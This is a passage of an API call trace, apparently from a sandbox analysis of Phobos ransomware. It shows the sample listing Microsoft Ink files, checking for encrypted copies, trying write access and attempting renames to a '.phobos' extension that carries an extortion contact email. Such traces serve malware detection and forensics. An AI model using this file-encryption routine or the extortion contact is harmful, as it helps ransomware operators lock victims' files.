0xffffffff [0124.856] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\tabskb.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\tabskb.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0124.856] CryptGenRandom (in: hProv=0x7868d8, dwLen=0x10, pbBuffer=0x3fffca0 | out: pbBuffer=0x3fffca0) returned 1 [0124.856] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\TabTip.exe.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\tabtip.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x594 [0124.856] GetFileSizeEx (in: hFile=0x594, lpFileSize=0x3fffc40 | out: lpFileSize=0x3fffc40*=2560) returned 1 [0124.856] CloseHandle (hObject=0x594) returned 1 [0124.856] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\TabTip.exe.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\tabtip.exe.mui")) returned 0x20 [0124.856] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\TabTip.exe.mui.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\tabtip.exe.mui.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0124.856] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\TabTip.exe.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\tabtip.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0124.856] CryptGenRandom (in: hProv=0x7868d8, dwLen=0x10, pbBuffer=0x3fffca0 | out: pbBuffer=0x3fffca0) returned 1 [0124.856] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\TipRes.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\tipres.dll.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x594 [0124.858] GetFileSizeEx (in: hFile=0x594, lpFileSize=0x3fffc40 | out: lpFileSize=0x3fffc40*=25088) returned 1 [0124.858] CloseHandle (hObject=0x594) returned 1 [0124.858] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\TipRes.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\tipres.dll.mui")) returned 0x20 [0124.858] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\TipRes.dll.mui.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\tipres.dll.mui.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0124.858] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\TipRes.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\tipres.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0124.858] CryptGenRandom (in: hProv=0x7868d8, dwLen=0x10, pbBuffer=0x3fffca0 | out: pbBuffer=0x3fffca0) returned 1 [0124.858] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\tipresx.dll.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x594 [0124.859] GetFileSizeEx (in: hFile=0x594, lpFileSize=0x3fffc40 | out: lpFileSize=0x3fffc40*=9728) returned 1 [0124.859] CloseHandle (hObject=0x594) returned 1 [0124.859] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\tipresx.dll.mui")) returned 0x20 [0124.859] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\tipresx.dll.mui.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\tipresx.dll.mui.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0124.859] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\tipresx.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0124.859] CryptGenRandom (in: hProv=0x7868d8, dwLen=0x10, pbBuffer=0x3fffca0 | out: pbBuffer=0x3fffca0) returned 1 [0124.859] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\TipTsf.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\tiptsf.dll.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x594 [0124.859] GetFileSizeEx (in: hFile=0x594, lpFileSize=0x3fffc40 | out: lpFileSize=0x3fffc40*=3584) returned 1 [0124.859] CloseHandle (hObject=0x594) returned 1 [0124.859] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\TipTsf.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\tiptsf.dll.mui")) returned 0x20 [0124.859] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\TipTsf.dll.mui.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\tiptsf.dll.mui.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0124.859] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\TipTsf.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\tiptsf.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0124.859] CryptGenRandom (in: hProv=0x7868d8, dwLen=0x10, pbBuffer=0x3fffca0 | out: pbBuffer=0x3fffca0) returned 1 [0124.859] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\es-ES\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\es-es\\tipresx.dll.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x594 [0124.860] GetFileSizeEx (in: hFile=0x594, lpFileSize=0x3fffc40 | out: lpFileSize=0x3fffc40*=10752) returned 1 [0124.860] CloseHandle (hObject=0x594) returned 1 [0124.860] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\es-ES\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\es-es\\tipresx.dll.mui")) returned 0x20 [0124.860] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\es-ES\\tipresx.dll.mui.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\es-es\\tipresx.dll.mui.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0124.860] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\es-ES\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\es-es\\tipresx.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0124.860] CryptGenRandom (in: hProv=0x7868d8, dwLen=0x10, pbBuffer=0x3fffca0 | out: pbBuffer=0x3fffca0) returned 1 [0124.860] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\es-MX\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\es-mx\\tipresx.dll.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x594 [0124.860] GetFileSizeEx (in: hFile=0x594, lpFileSize=0x3fffc40 | out: lpFileSize=0x3fffc40*=10752) returned 1 [0124.860] CloseHandle (hObject=0x594) returned 1 [0124.860] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\es-MX\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\es-mx\\tipresx.dll.mui")) returned 0x20 [0124.860] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\es-MX\\tipresx.dll.mui.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\es-mx\\tipresx.dll.mui.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0124.861] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\es-MX\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\es-mx\\tipresx.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0124.861] CryptGenRandom (in: hProv=0x7868d8, dwLen=0x10, pbBuffer=0x3fffca0 | out: pbBuffer=0x3fffca0) returned 1 [0124.861] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\et-EE\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\et-ee\\tipresx.dll.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x594 [0124.861] GetFileSizeEx (in: hFile=0x594, lpFileSize=0x3fffc40 | out: lpFileSize=0x3fffc40*=10752) returned 1 [0124.861] CloseHandle (hObject=0x594) returned 1 [0124.861] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\et-EE\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\et-ee\\tipresx.dll.mui")) returned 0x20 [0124.861] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\et-EE\\tipresx.dll.mui.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\et-ee\\tipresx.dll.mui.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0124.861] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\et-EE\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\et-ee\\tipresx.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0124.861] CryptGenRandom (in: hProv=0x7868d8, dwLen=0x10, pbBuffer=0x3fffca0 | out: pbBuffer=0x3fffca0) returned 1 [0124.861] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fi-FI\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fi-fi\\tipresx.dll.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x594 [0124.863] GetFileSizeEx (in: hFile=0x594, lpFileSize=0x3fffc40 | out: lpFileSize=0x3fffc40*=10240) returned 1 [0124.863] CloseHandle (hObject=0x594) returned 1 [0124.863] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fi-FI\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fi-fi\\tipresx.dll.mui")) returned 0x20 [0124.863] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fi-FI\\tipresx.dll.mui.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fi-fi\\tipresx.dll.mui.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0124.863] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fi-FI\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fi-fi\\tipresx.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0124.863] CryptGenRandom (in: hProv=0x7868d8, dwLen=0x10, pbBuffer=0x3fffca0 | out: pbBuffer=0x3fffca0) returned 1 [0124.863] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\FlickLearningWizard.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\flicklearningwizard.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x594 [0124.870] GetFileSizeEx (in: hFile=0x594, lpFileSize=0x3fffc40 | out: lpFileSize=0x3fffc40*=804864) returned 1 [0124.870] CloseHandle (hObject=0x594) returned 1 [0124.870] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\FlickLearningWizard.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\flicklearningwizard.exe")) returned 0x20 [0124.870] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\FlickLearningWizard.exe.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\flicklearningwizard.exe.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0124.871] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\FlickLearningWizard.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\flicklearningwizard.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0124.871] CryptGenRandom (in: hProv=0x7868d8, dwLen=0x10, pbBuffer=0x3fffca0 | out: pbBuffer=0x3fffca0) returned 1 [0124.871] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fr-CA\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fr-ca\\tipresx.dll.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x594 [0124.872] GetFileSizeEx (in: hFile=0x594, lpFileSize=0x3fffc40 | out: lpFileSize=0x3fffc40*=11264) returned 1 [0124.872] CloseHandle (hObject=0x594) returned 1 [0124.872] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fr-CA\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fr-ca\\tipresx.dll.mui")) returned 0x20 [0124.872] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fr-CA\\tipresx.dll.mui.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fr-ca\\tipresx.dll.mui.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0124.872] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fr-CA\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fr-ca\\tipresx.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0124.873] CryptGenRandom (in: hProv=0x7868d8, dwLen=0x10, pbBuffer=0x3fffca0 | out: pbBuffer=0x3fffca0) returned 1 [0124.873] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fr-FR\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fr-fr\\tipresx.dll.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x594 [0124.874] GetFileSizeEx (in: hFile=0x594, lpFileSize=0x3fffc40 | out: lpFileSize=0x3fffc40*=11264) returned 1 [0124.874] CloseHandle (hObject=0x594) returned 1 [0124.874] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fr-FR\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fr-fr\\tipresx.dll.mui")) returned 0x20 [0124.874] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fr-FR\\tipresx.dll.mui.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fr-fr\\tipresx.dll.mui.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0124.874] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fr-FR\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fr-fr\\tipresx.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0124.875] CryptGenRandom (in: hProv=0x7868d8, dwLen=0x10, pbBuffer=0x3fffca0 | out: pbBuffer=0x3fffca0) returned 1 [0124.875] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\he-IL\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\he-il\\tipresx.dll.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x594 [0124.875] GetFileSizeEx (in: hFile=0x594, lpFileSize=0x3fffc40 | out: lpFileSize=0x3fffc40*=9728) returned 1 [0124.875] CloseHandle (hObject=0x594) returned 1 [0124.875] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\he-IL\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\he-il\\tipresx.dll.mui")) returned 0x20 [0124.875] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\he-IL\\tipresx.dll.mui.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\he-il\\tipresx.dll.mui.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0124.875] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\he-IL\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\he-il\\tipresx.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0124.875] CryptGenRandom (in: hProv=0x7868d8, dwLen=0x10, pbBuffer=0x3fffca0 | out: pbBuffer=0x3fffca0) returned 1 [0124.875] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\hr-HR\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hr-hr\\tipresx.dll.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x594 [0124.875] GetFileSizeEx (in: hFile=0x594, lpFileSize=0x3fffc40 | out: lpFileSize=0x3fffc40*=10240) returned 1 [0124.875] CloseHandle (hObject=0x594) returned 1 [0124.875] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\hr-HR\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hr-hr\\tipresx.dll.mui")) returned 0x20 [0124.876] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\hr-HR\\tipresx.dll.mui.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hr-hr\\tipresx.dll.mui.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0124.876] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\hr-HR\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hr-hr\\tipresx.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0124.876] CryptGenRandom (in: hProv=0x7868d8, dwLen=0x10, pbBuffer=0x3fffca0 | out: pbBuffer=0x3fffca0) returned 1 [0124.876] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\hu-HU\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hu-hu\\tipresx.dll.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x594 [0124.876] GetFileSizeEx (in: hFile=0x594, lpFileSize=0x3fffc40 | out: lpFileSize=0x3fffc40*=10240) returned 1 [0124.876] CloseHandle (hObject=0x594) returned 1 [0124.876] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\hu-HU\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hu-hu\\tipresx.dll.mui")) returned 0x20 [0124.876] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\hu-HU\\tipresx.dll.mui.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hu-hu\\tipresx.dll.mui.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0124.876] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\hu-HU\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hu-hu\\tipresx.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0124.876] CryptGenRandom (in: hProv=0x7868d8, dwLen=0x10, pbBuffer=0x3fffca0 | out: pbBuffer=0x3fffca0) returned 1 [0124.876] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\InkDiv.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\inkdiv.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x594 [0124.879] GetFileSizeEx (in: hFile=0x594, lpFileSize=0x3fffc40 | out: lpFileSize=0x3fffc40*=361472) returned 1 [0124.879] CloseHandle (hObject=0x594) returned 1 [0124.880] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\InkDiv.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\inkdiv.dll")) returned 0x20 [0124.880] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\InkDiv.dll.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\inkdiv.dll.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0124.880] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\InkDiv.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\inkdiv.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0124.880] CryptGenRandom (in: hProv=0x7868d8, dwLen=0x10, pbBuffer=0x3fffca0 | out: pbBuffer=0x3fffca0) returned 1 [0124.880] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\InkObj.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\inkobj.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x594 [0124.881] GetFileSizeEx (in: hFile=0x594, lpFileSize=0x3fffc40 | out: lpFileSize=0x3fffc40*=2018304) returned 1 [0124.881] CloseHandle (hObject=0x594) returned 1 [0124.881] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\InkObj.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\inkobj.dll")) returned 0x20 [0124.881] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\InkObj.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\inkobj.dll"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\InkObj.dll.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\inkobj.dll.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0 [0124.882] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\InkObj.dll.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\inkobj.dll.id[b4197730-1030].[ramsey_frederick@aol.com].phobos"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\InkObj.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\inkobj.dll")) returned 0 [0124.882] CryptGenRandom (in: hProv=0x7868d8, dwLen=0x10, pbBuffer=0x3fffca0 | out: pbBuffer=0x3fffca0) returned 1 [0124.882] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\InputPersonalization.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\inputpersonalization.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x7, 